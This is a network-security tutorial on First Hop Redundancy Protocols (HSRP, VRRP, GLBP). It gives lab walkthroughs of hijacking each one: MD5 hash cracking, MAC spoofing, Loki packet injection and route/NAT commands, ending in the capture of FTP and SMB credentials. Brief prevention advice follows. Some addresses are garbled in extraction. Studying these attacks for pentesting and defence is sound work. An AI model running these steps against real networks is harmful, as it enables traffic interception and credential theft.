original text by Magama Bazarov
In order to improve the resiliency of their network at the routing level, network administrators use the FHRP family of protocols in most cases. However, in most cases, the configuration of FHRP protocols is left by default, which opens the way for exploitation.
My name is Magama Bazarov and I am an expert in network security. And in my research you will find out what kind of nightmare is going on in the network at the routing level.
Disclaimer
This article is intended for security professionals who conduct pentests under an agreed-upon, legitimate contract. Destroying and hacking into other people’s computer networks can be prosecuted. Be careful and try not to test your fate. The skills you learn from my article are only your area of responsibility.
1. Why we need FHRP protocols?
FHRP (First Hop Redundancy Protocol) — is a family of network protocols that allows multiple physical routers to share/maintain a single virtual IP address, in order to increase the fault tolerance of the local network. This virtual address will be assigned as the default gateway address for the end hosts. The most common FHRP class protocols are HSRP, VRRP and GLBP, the security of which I will discuss in this article.
2. HSRP (Hot Standby Redundancy Protocol)
HSRP (Hot Standby Router/Redundancy Protocol) — is a Cisco proprietary protocol that allows for network gateway redundancy. The general idea is to combine several physical routers into one logical router with a common IP address. This address of the virtual router will be assigned to the interface of the router with the master role, and the latter, in its turn, will take care of traffic forwarding.
2.1 HSRP Roles & Terminology
HSRP Active Router — a device that acts as a virtual router and provides forwarding of traffic from source networks to destination networks.
HSRP Standby Router — a device that acts as a standby router, waiting for the active router to fail. When the primary Active router fails, the Standby router will take over the primary role and take over the duties of the Active router.
HSRP Group — a group of devices that ensures the operation and fault tolerance of a logical router.
HSRP MAC Address — the virtual MAC address of the logical router in the HSRP domain.
HSRP Virtual IP Address — This is a special virtual IP address in the HSRP group. This IP address will be the default gateway for the end hosts, used on the logical router itself.
2.2 HSRP Mechanics
HSRP is implemented on top of TCP/IP protocol stack, so UDP transport layer protocol under port number 1985 is used for service information transmission. HSRP-routers within the same logical group exchange special “hello” packets every 3 seconds, but if within 10 seconds an HSRP-router within the same group has not received a hello packet from its HSRP neighbor, it recognizes it as “dead”
This protocol has two versions (HSRPv1 x HSRPv2) and they differ in the following characteristics:
- Number of groups. (HSRPv1 offers up to 255 groups, when HSRPv2 can up to 4096)
- Virtual MAC addresses. (HSRPv1 —
/ HSRPv2 —00:00:0c:07:ac:xx) (XX is HSRP group number)00:00:0C:9F:FX:XX
- MCAST IP addresses. (HSRPv1 —
/ HSRPv2 —224.0.0.2)224.0.0.102
3. VRRP (Virtual Router Redundancy Protocol)
This protocol was developed based on the phenomena of the HSRP protocol, so it has a lot of trouble with patents. Therefore, it cannot be called “free” and “open”. But at least it is supported by all network equipment vendors, i.e. using VRRP in your network allows you to be independent of any vendor ecosystem.
3.1 VRRP Mechanics
De facto, if you know how HSRP works, you know how VRRP works. HSRP and VRRP have a lot in common, but I’ll tell you the distinguishing characteristics:
- VRRP is not implemented on top of the TCP/IP protocol stack. This protocol works exclusively on the network layer
- Its MCAST IP address is
224.0.0.18
- Its identifier is
112
- The second version of VRRPv2 features IPv4 support and support for authentication. The type of authentication depends on the vendor. For example, Cisco offers VRRP protection using MD5 authentication, while MikroTik (RouterOS) offers AH-authentication (AH is a protocol from the IPSec opera)
- The third version, VRRPv3, has support for IPv6 but lacks authentication.
VRRP neighbors within one redundancy domain exchange special hello packets every second (a kind of hello time). But there is also a kind of “dead timer” — if there is no hello packet within 10 seconds, the router from which this “hello” was expected — will drop out of the failover domain.
3.2 VRRP Roles & Terminology
- VRRP Master Router is an active router that is responsible for transferring legitimate traffic on the network.
- VRRP Backup Router is a standby router. As soon as the current Master Router goes down, it will take over its role and perform its functions
- VRRP MAC Address — The virtual MAC address in the VRRP group (
). Instead of XX, it is the number of the VRRP group.00:00:5E:01:XX
- VRRP VRID — The identifier of the VRRP group within which the physical routers are located.
- VRRP Virtual IP Address — A special virtual IP address in the VRRP domain. This IP address is used as the default gateway for the end hosts.
4. Emergence of pseudo-balancing
The problem is that the HSRP and VRRP protocols have no load balancing mechanism. When they are used, there is a pseudo-balancing, where by default only one device is actually working, while the others are resting and working in standby mode. However, you can simply spread your VLANs over logical HSRP/VRRP processes at the distribution switch level (L3 switches) or at the router level when logical VLANs are created (802.1Q Encapsulation Moment)
Below will be examples of settings for HSRP and VRRP with respect to VLAN 10 and VLAN 30 networks. Dist-SW1 will plow on VLAN 10 and sleep on VLAN 30. Dist-SW2 will plow for VLAN 30 and sleep for VLAN 10.
4.1 HSRP for VLANs (Cisco IOS)
Dist-SW1(config)# interface vlan 10 Dist-SW1(config-if)# standby 10 ip 10.10.10.254 Dist-SW1(config-if)# standby 10 priority 150 Dist-SW1(config-if)# standby 10 preempt Dist-SW1(config-if)# standby 10 authentication md5 key-string my_heartbeats Dist-SW1(config-if)# end Dist-SW1(config)# interface vlan 30 Dist-SW1(config-if)# standby 30 ip 10.10.30.254 Dist-SW1(config-if)# standby 30 priority 90 Dist-SW1(config-if)# standby 30 authentication md5 key-string my_heartbeats Dist-SW1(config-if)# end Dist-SW2(config)# interface vlan 10 Dist-SW2(config-if)# standby 10 ip 10.10.30.254 Dist-SW2(config-if)# standby 10 priority 90 Dist-SW2(config-if)# standby 10 authentication md5 key-string my_heartbeats Dist-SW2(config-if)# end Dist-SW2(config)# interface vlan 30 Dist-SW2(config-if)# standby 30 ip 10.10.10.254 Dist-SW2(config-if)# standby 30 priority 150 Dist-SW2(config-if)# standby 30 preempt Dist-SW2(config-if)# standby 30 authentication md5 key-string my_heartbeats Dist-SW2(config-if)# end
4.2 VRRP for VLANs (Cisco IOS)
Dist-SW1(config)# interface vlan 10 Dist-SW1(config-if)# vrrp 10 ip 10.10.10.254 Dist-SW1(config-if)# vrrp 10 priority 150 Dist-SW1(config-if)# vrrp 10 preempt Dist-SW1(config-if)# vrrp 10 authentication md5 key-string my_heartbeats Dist-SW1(config-if)# end Dist-SW1(config)# interface vlan 30 Dist-SW1(config-if)# vrrp 30 ip 10.10.30.254 Dist-SW1(config-if)# vrrp 30 priority 90 Dist-SW1(config-if)# vrrp 30 authentication md5 key-string my_heartbeats Dist-SW1(config-if)# end Dist-SW2(config)# interface vlan 10 Dist-SW2(config-if)# vrrp 10 ip 10.10.30.254 Dist-SW2(config-if)# vrrp 10 priority 90 Dist-SW2(config-if)# vrrp 10 authentication md5 key-string my_heartbeats Dist-SW2(config-if)# end Dist-SW2(config)# interface vlan 30 Dist-SW2(config-if)# vrrp 30 ip 10.10.10.254 Dist-SW2(config-if)# vrrp 30 priority 150 Dist-SW2(config-if)# vrrp 30 preempt Dist-SW2(config-if)# vrrp 30 authentication md5 key-string my_heartbeats Dist-SW2(config-if)# end
5. GLBP (Gateway Load Balancing Protocol)
Developed by Cisco Systems engineers. Like HSRP, this protocol is implemented on top of TCP/IP protocol stack, that’s why UDP transport layer protocol under port number 3222 is used for translation of service information. GLBP routers within the same logical group exchange special “hello” packets every 3 seconds, but if within 10 seconds a GLBP router within the same group has not received a hello packet from its GLBP neighbor, it recognizes it as “dead”. However, the timer values can be configured depending on the administrator’s needs.
5.1 GLBP Mechanics
GLBP provides load sharing to multiple routers (gateways) using one virtual IP address and multiple virtual MAC addresses. Each host is configured with the same virtual IP address and all routers in the virtual group participate in packet transmission. Works much differently with respect to HSRP and VRRP protocols, as it uses the mechanisms of real load balancing, I will denote below:
- The Host-Dependent. Type of load balancing used on a network where there is NAT. Host-Dependent ensures that the host will return the same MAC address of the AVG device that was used at an earlier point in time, thus the NAT configured to the host will not be broken.
- Round-Robin. In this mode, the AVG device distributes MAC addresses to AVF members alternately. This is the mechanism used by default.
- Weight-based round-robin. Load balancing based on special “Weight” metric
5.2 GLBP Roles & Terminology
- AVG (Active Virtual Gateway) — a device that is essentially the father of the entire GLBP logical domain. “Father” tells the other routers how to handle legitimate traffic. Gives out MAC addresses and is responsible for answering ARP requests. By the way, within a single GLBP group, AVG members can be only one router.
- AVF (Active Virtual Forwarder) — the device in the GLBP domain that handles traffic. There can be several of them.
- GLBP Group — A logical GLBP group that includes physical routers. Each GLBP logical group has its own unique numeric identifier
- GLBP MAC — The virtual MAC address of the AVF members distributed by the existing AVG router.
- GLBP Virtual IP Address — The IP address the AVG router is responsible for
- GLBP Preempt Mode — an option that allows the resurrected AVG device to regain its role after being replaced by AVF based on its priority values. By default, preempt mode is disabled for AVG members when preempt mode is enabled for AVF members (with a delay of up to 30 seconds, but this value can be configured manually)
- GLBP Weight — metric indicating the degree of load on the device interface. The greater this metric is, the higher the load on the router interface.
6. FHRP Selector
For FHRP protocols, the default priority value of routers is 100. If administrator did not set priorities manually, in case of HSRP (ACTIVE), in case of VRRP (MASTER), in case of GLBP (AVG) will be the router with the highest address. Of course, these priorities are configured manually, depending on the needs of the network administrator and what fault tolerance infrastructure he needs.
7. FHRP Timings
- HSRP (Hello time: 3 sec / Hold time: 10 sec)
- VRRP (Hello time: 1 sec / Hold time: 3 sec)
- GLBP (Hello time: 3 sec / Hold time: 10 sec)
8. FHRP Hijacking
FHRP domains are vulnerable to a Hijack attack if the ACTIVE/MASTER/AVGleader does not have a maximum priority value with respect to its configuration. If an attacker injects an HSRP/VRRP/GLBP packet with maximum priority values, he will be able to intercept traffic within the network.
8.1 Stages
- Information Gathering. find out priority values, search for authentication, virtual IP address used, MAC addresses
- Authentication Bypassing.The authentication bypassing stage. If there is, of course. Save traffic dump, exfiltrate hashes and brute-force key from the domain.
- Injection.Preparing network interface, writing MAC address, routing permission, generating and sending malicious FHRP injection.
- Routing Management.Creating a secondary IP address, configuring a new default route, (NAT) MASQUERADE
8.2 Weaponize
- Wireshark. With this network traffic analyzer we will perform Information Gathering process, enumerating packet headers
- John & *2john-exfiltrators. John is a hash bruteforcer, *2john scripts will help reproduce hash exfiltration from the traffic dump
- Loki. It is a batch injector, a framework for performing security analysis of various L2/L3 protocols, even DRP, FHRP, etc.
8.3 Vectors
- MITM. A man-in-the-middle attack to intercept legitimate traffic. Executed by malicious FHRP injection with maximum priority value.
- Blackhole. An attack designed to wrap traffic from a legitimate subnet into ANYTHING. Blackhole means “black hole”. Traffic goes into black hole and that’s it
- Kicking router via UDP Flood. DoS-attack, the mechanism of which consists of mass mailing of UDP datagrams with the aim to put the destination router out of action. Works regarding HSRP & GLBP, because when processes of these protocols are launched on routers, they automatically start listening to UDP-ports 1985 and 3222 (HSRP and GLBP respectively), no transport layer for VRRP.
8.4 Limitations
- CPU power dependency. After MITM attack, traffic of the whole network or VLAN segment (depending on existing infrastructure) will run through your device and it must be ready to process, routing traffic of the whole legitimate segment. Otherwise, a DoS will occur, and the customer will not appreciate such a scenario and hot tears will flow.
- Network interface performance. The network card used at the moment of attack should be powerful enough to handle a large amount of traffic.
- Dependence on possible network VLAN segmentation. If you’re on VLAN 10, for example, and you can MITM through an inject, you’ll be intercepting traffic from the VLAN you’re on. You won’t get traffic from other VLANs.
9. Nightmare Realm
As part of a practical attack, I built a three-layer network which I provided Internet access, OSPF, and HSRP/VRRP/GLBP fault tolerance domains. As part of my attack, I will be targeting the Distribution Layer and intercepting traffic on the VLAN 10 network.

Papercut — FTP server under IP address
Dustup — Windows 10 machine with IP address
Attacker (Mercy) — attacker system with Kali Linux at IP address
Boundless — Linux Mint client machine with IP address
The left side of the Distribution level switches are Cisco vIOS switches: Dist-SW1 and Dist-SW2 at
Edge Router — the edge router of this network, provides the entire network with the Internet by the mechanism NAT (PAT Mechanism Moment)
As a dynamic routing acts as a BACKBONE zone OSPF and identifier
And the HSRP/VRRP/GLBP processes are implemented on virtual SVI interfaces.
10. HSRP Hijacking
10.1 Stage 1: Information Gathering
From the Wireshark traffic dump, we see HSRP announcements from two switches at 10.10.10.100 and 10.10.10.101

HSRP Ad from first router

Based on the analysis of HSRP packet headers we have the following picture (within my network I have studied 2 HSRP announcements):
- ACTIVE device is a switch with address
, its priority is10.10.10.100150
- STANDBY device is a switch at
, its priority is10.10.10.10190
- Cryptographic authentication (MD5) is used
- Virtual IP address
10.10.10.254
- Virtual MAC:
(ACTIVE)00:00:0c:07:ac:01
- HSRP group number
1
Since the ACTIVE switch has a priority of
10.2 Stage 2: Authentication Bypassing
You need to save the traffic dump in
in9uz@Mercy:~$ python2 hsrpexfiltrate.py hsrpwithauth.pcap in9uz@Mercy:~$ cat >> hsrpv1md5hashes in9uz@Mercy:~$ john hsrpv1md5hashes --wordlist=/usr/share/wordlists/rockyou.txt

In the end we managed to reset the authentication key to the HSRP domain — endgame
10.3 Stage 3: Injection
First of all, we need to change the MAC address to the virtual MAC address of the ACTIVE switch. This is done in order not to unnecessarily trigger the system DAI (Dynamic ARP Inspection), because
Next, switch our network interface to promiscious mode and allow traffic routing.
in9uz@Mercy:~$ sudo macchanger --mac=00:00:0C:07:AC:01 eth0 in9uz@Mercy:~$ sudo ifconfig eth0 in9uz@Mercy:~$ sudo sysctl -w net.ipv4.ip_forward=1
Now you have to start Loki, select the network interface
in9uz@Mercy:~$ sudo loki_gtk.py

After launching the tool, Loki itself will detect HSRP announcements sent out by routers. Enter the MD5 authentication key (endgame), select the

After that, Loki will generate a custom injection with a maximum priority value of

10.4 Stage 4: Routing Management
After the injections are done, we need to do a little routing management.
Firstly we have to remove the old default route, going through
We also need to create a secondary address on our interface with HSRP Virtual IP Address value
in9uz@Mercy:~$ sudo ifconfig eth0:1 10.10.10.254 netmask 255.255.255.0
Let’s write a new default route through
in9uz@Mercy:~$ sudo route del default in9uz@Mercy:~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.10.100
SNAT:
in9uz@Mercy:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
In the end we succeeded in conducting a MITM attack. To clearly show the impact of the attack, I will connect to the FTP server Papercut


Intercepted FTP creds
Intercepted FTP creds —
!!! However, ICMP REDIRECT messages are generated during the attack itself. The IPS/IDS security system may trigger. Be careful and disable ICMP redirect if possible !!!
11. VRRP Hijacking
11.1 Stage 1: Information Gathering
Within VRRP, these hello packets are only visible from the MASTER device.

Based on the analysis of the HSRP packet headers we denote the following information:
- MASTER device is a router at
, its priority is10.10.10.100150
- No authentication
- Virtual IP-address
10.10.10.254
- Virtual MAC:
00:00:5e:00:01:01
- VRRP group number
1
11.2 Stage 2: Injection
Change the MAC-address to the one belonging to MASTER, promisc mode and allow routing:
in9uz@Mercy:~$ sudo macchanger --mac 00:00:5e:00:01:01 eth0 in9uz@Mercy:~$ sudo ifconfig eth0 promisc in9uz@Mercy:~$ sudo sysctl -w net.ipv4.ip_forward=1
Run Loki:
in9uz@Mercy:~$ sudo loki_gtk.py
Loki detected the VRRP announcement. All the same, generate a (Gratuitous ARP) and inject

Loki performed an inject, you can examine his body

11.3 Stage 3: Routing Management
All the same routing management. Writing routes, creating a secondary address, and setting up NAT (MASQUERADE)
in9uz@Mercy:~$ sudo ifconfig eth0:1 10.10.10.254 netmask 255.255.255.0 in9uz@Mercy:~$ sudo route del default in9uz@Mercy:~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.10.100 in9uz@Mercy:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
To illustrate, I will connect to that FTP-server again (Papercut), but with different codes

VRRP PWNED 🙂
12. GLBP Hijacking
12.1 Stage 1: Information Gathering
We see GLBP announcements from two devices. Based on the analysis of the GLBP packets we have the following picture:
- AVG is
10.10.10.100
- AVF is
10.10.10.101
- No authentication
- GLBP Group Number
1
- Virtual IP Address
10.10.10.254
- Virtual MAC:
00:07.b4:00.01:01


12.2 Stage 2: Injection
Change the MAC-address to the one of the AVG, promiscious mode and routing permission
in9uz@Mercy:~$ sudo macchanger --mac=00:07.b4:00.01:01 eth0 in9uz@Mercy:~$ sudo ifconfig eth0 promisc in9uz@Mercy:~$ sudo sysctl -w net.ipv4.ip_forward=1
Run Loki:
in9uz@Mercy:~$ sudo loki_gtk.py
Loki found the ads. Performing Inject x Gratuitous ARP

Loki generated a GLBP injection with priority and weight values (Priority 255 x Weight 255)

12.3 Stage 3: Routing Management
Again: Secondary address, routing, NAT
in9uz@Mercy:~$ sudo ifconfig eth0:1 10.10.10.254 netmask 255.255.255.0 in9uz@Mercy:~$ sudo route del default in9uz@Mercy:~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.10.100 in9uz@Mercy:~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Now, we are the MITM. Run
in9uz@Mercy:~/FHRPNightmare/net-creds$ sudo python2 net-creds.py -i eth0
To proof, reading the SMB share on behalf of the



13. Prevention
13.1 Using ACL
An ACL allows you to filter traffic by various parameters, ranging from source IP address to TCP/UDP ports. (depending on which ACL you use — standard or extended?)
- HSRP: ACL against
or224.0.0.2,224.0.0.102UDP/1985
- VRRP: ACL against
224.0.0.18
- GLBP: ACL against
,224.0.0.102UDP/3222
13.2 Authentication
Authentication prevents unauthorized routers from entering failover domains. If you’re going to protect a domain with authentication, use persistent keys so they’re not so easy to break.
Here Cisco IOS boasts Key-Chain authentication, where multiple keys can be used and you can configure the time intervals within which the keys will be accepted and sent. RouterOS even has a wild AH-authentication for VRRP, such a salt is used there — you can’t brute force it even with a dictionary password. By the way, Cisco IOS uses MD5 authentication for FHRP, and RouterOS uses AH (the IPSec opera protocol)
14. Outro
FHRP protocols help to organize a system of hot redundant routing gateways. Such systems are widespread in the case I reviewed. But now you know what can happen to a network if an engineer has not taken care of the design and security configuration of the FHRP protocols themselves.
Speaking of which, this FHRP Hijacking can serve as an alternative to ARP spoofing. AD networks open up all possibilities for Relay attacks and information gathering, you can also implement phishing attacks and much more. I very much hope that this research of mine will give pentesters new attack vectors for pentesters, and network administrators will get new cases to improve their network security.
ᛝ
My Telegram: https://t.me/in9uz
Telegram Channel: https://t.me/in6uz
Github: https://github.com/in9uz
Twitter: https://twitter.com/in9uz
You can see, what you wanna see. You can feel, what you wanna feel.